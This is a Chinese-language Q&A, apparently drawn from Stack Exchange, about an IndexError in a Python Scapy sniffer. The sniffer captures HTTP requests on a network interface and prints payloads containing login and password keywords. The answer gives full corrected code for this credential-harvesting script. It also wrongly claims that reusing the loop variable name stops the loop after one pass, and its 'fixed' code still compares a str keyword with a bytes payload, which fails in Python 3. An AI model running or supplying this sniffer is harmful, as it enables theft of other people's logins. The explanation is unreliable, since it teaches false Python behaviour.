使用Scapy编写数据包嗅探器时出现IndexError错误求助

问题 #

使用Python的Scapy模块编写数据包嗅探器时，已修正hashlayer为haslayer的错误，程序运行初期正常，但几分钟后出现报错：IndexError: Layer [<function raw at 0x7fb291839dc0>] not found。

代码 #

#!usr/bin/env python
import scapy.all as scapy
from scapy.layers import http


def sniff(interface):
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)


def get_url(packet):
    return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path


def get_login_info(packet):
    if packet.haslayer(scapy.Raw):
        load = packet[scapy.raw].load
        keywords = ["username", "user", "login", "password", "pass"]
        for keywords in keywords:
            if keywords in load:
                return load


def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request >> " + str(url))

        login_info = get_login_info(packet)
        if login_info:
            print("\n\n[+] Possible username/password >" + login_info + "\n\n")


sniff("eth0")

报错栈 #

[+] HTTP Request >> b'fdrtire.com/assets/frontend/js/global.js'
[+] HTTP Request >> b'ocsp.pki.goog/gts1c3'
Traceback (most recent call last):
  File "/root/PycharmProjects/packet_sniffer/packet_sniffer.py", line 33, in <module>
    sniff("eth0")
  File "/root/PycharmProjects/packet_sniffer/packet_sniffer.py", line 7, in sniff
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
  File "/usr/lib/python3/dist-packages/scapy/sendrecv.py", line 1036, in sniff
    sniffer._run(*args, **kwargs)
  File "/usr/lib/python3/dist-packages/scapy/sendrecv.py", line 989, in _run
    session.on_packet_received(p)
  File "/usr/lib/python3/dist-packages/scapy/sessions.py", line 82, in on_packet_received
    result = self.prn(pkt)
  File "/root/PycharmProjects/packet_sniffer/packet_sniffer.py", line 28, in process_sniffed_packet
    login_info = get_login_info(packet)
  File "/root/PycharmProjects/packet_sniffer/packet_sniffer.py", line 16, in get_login_info
    load = packet[scapy.raw].load
  File "/usr/lib/python3/dist-packages/scapy/packet.py", line 1185, in __getitem__
    raise IndexError("Layer [%s] not found" % lname)
IndexError: Layer [<function raw at 0x7fb291839dc0>] not found

错误原因及修复方案 #

错误原因 #

1. 层引用错误：检查Raw层时用了正确的scapy.Raw（Scapy层类），但获取层内容时误用了scapy.raw——这是一个将数据包转为原始字节的函数，并非层类，导致Scapy无法识别对应层，抛出IndexError。
2. 循环变量名冲突：get_login_info函数中，循环变量名与关键词列表名均为keywords，会导致循环仅执行一次就终止，后续关键词无法被检查。

修复后的代码 #

#!usr/bin/env python
import scapy.all as scapy
from scapy.layers import http


def sniff(interface):
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)


def get_url(packet):
    return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path


def get_login_info(packet):
    if packet.haslayer(scapy.Raw):
        # 修正：使用scapy.Raw层类而非scapy.raw函数
        load = packet[scapy.Raw].load
        keywords = ["username", "user", "login", "password", "pass"]
        # 修正：循环变量名改为keyword，避免与列表名冲突
        for keyword in keywords:
            if keyword in load:
                return load


def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request >> " + str(url))

        login_info = get_login_info(packet)
        if login_info:
            # 额外修正：将字节类型转为字符串后输出，避免类型错误
            print("\n\n[+] Possible username/password >" + str(login_info) + "\n\n")


sniff("eth0")

额外说明 #

• scapy.raw的作用是序列化数据包为原始字节流，和表示网络层的scapy.Raw完全是两个概念，不可混用。
• 变量名冲突会导致逻辑不完整，即使未触发报错，也会遗漏部分关键词的检查。

内容的提问来源于stack exchange，提问作者Reaper